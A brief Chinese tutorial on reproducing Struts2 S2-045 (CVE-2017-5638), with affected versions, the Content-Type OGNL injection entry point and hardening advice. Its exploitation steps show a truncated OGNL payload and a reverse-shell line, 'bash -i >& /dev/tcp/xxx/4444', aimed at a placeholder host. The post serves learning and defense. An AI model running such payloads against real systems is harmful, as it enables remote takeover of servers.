Struts2-S2045漏洞复现

Struts2 S2-045 OGNL 注入 RCE 复现(CVE-2017-5638):Content-Type header 注入、命令执行、防御加固。

写在前面:合法学习边界

Struts2 攻击只在授权测试环境进行。对非授权目标进行攻击可能触犯法律。

一、S2-045 利用链

Struts2 S2-045 利用链
1
① 发现 Struts2 → ② 确认版本 → ③ Content-Type → ④ OGNL 执行 → ⑤ 反弹 Shell

二、漏洞信息

1
2
3
4
CVE-2017-5638
影响:Struts 2.3.x / 2.5.0~2.5.10
入口:Content-Type header
类型:OGNL 表达式注入

三、利用步骤

1
2
3
Content-Type: %{#a=(new java.lang.String('...'))}
→ 触发 OGNL 表达式执行
→ 反弹 Shell:bash -i >& /dev/tcp/xxx/4444

四、防御加固

1
2
3
升级到 Struts 2.5.11+ 或 2.3.32+
WAF 拦截 Content-Type 异常值
网络隔离:不暴露公网

五、小结

S2-045 是 Struts2 最经典的远程代码执行漏洞之一。防御核心是升级框架版本 + WAF 防护

本站使用「署名 4.0 国际」创作共享协议,可自由转载、引用,但需署名作者且注明文章出处
最后更新于 Aug 30, 2026 10:00 +0800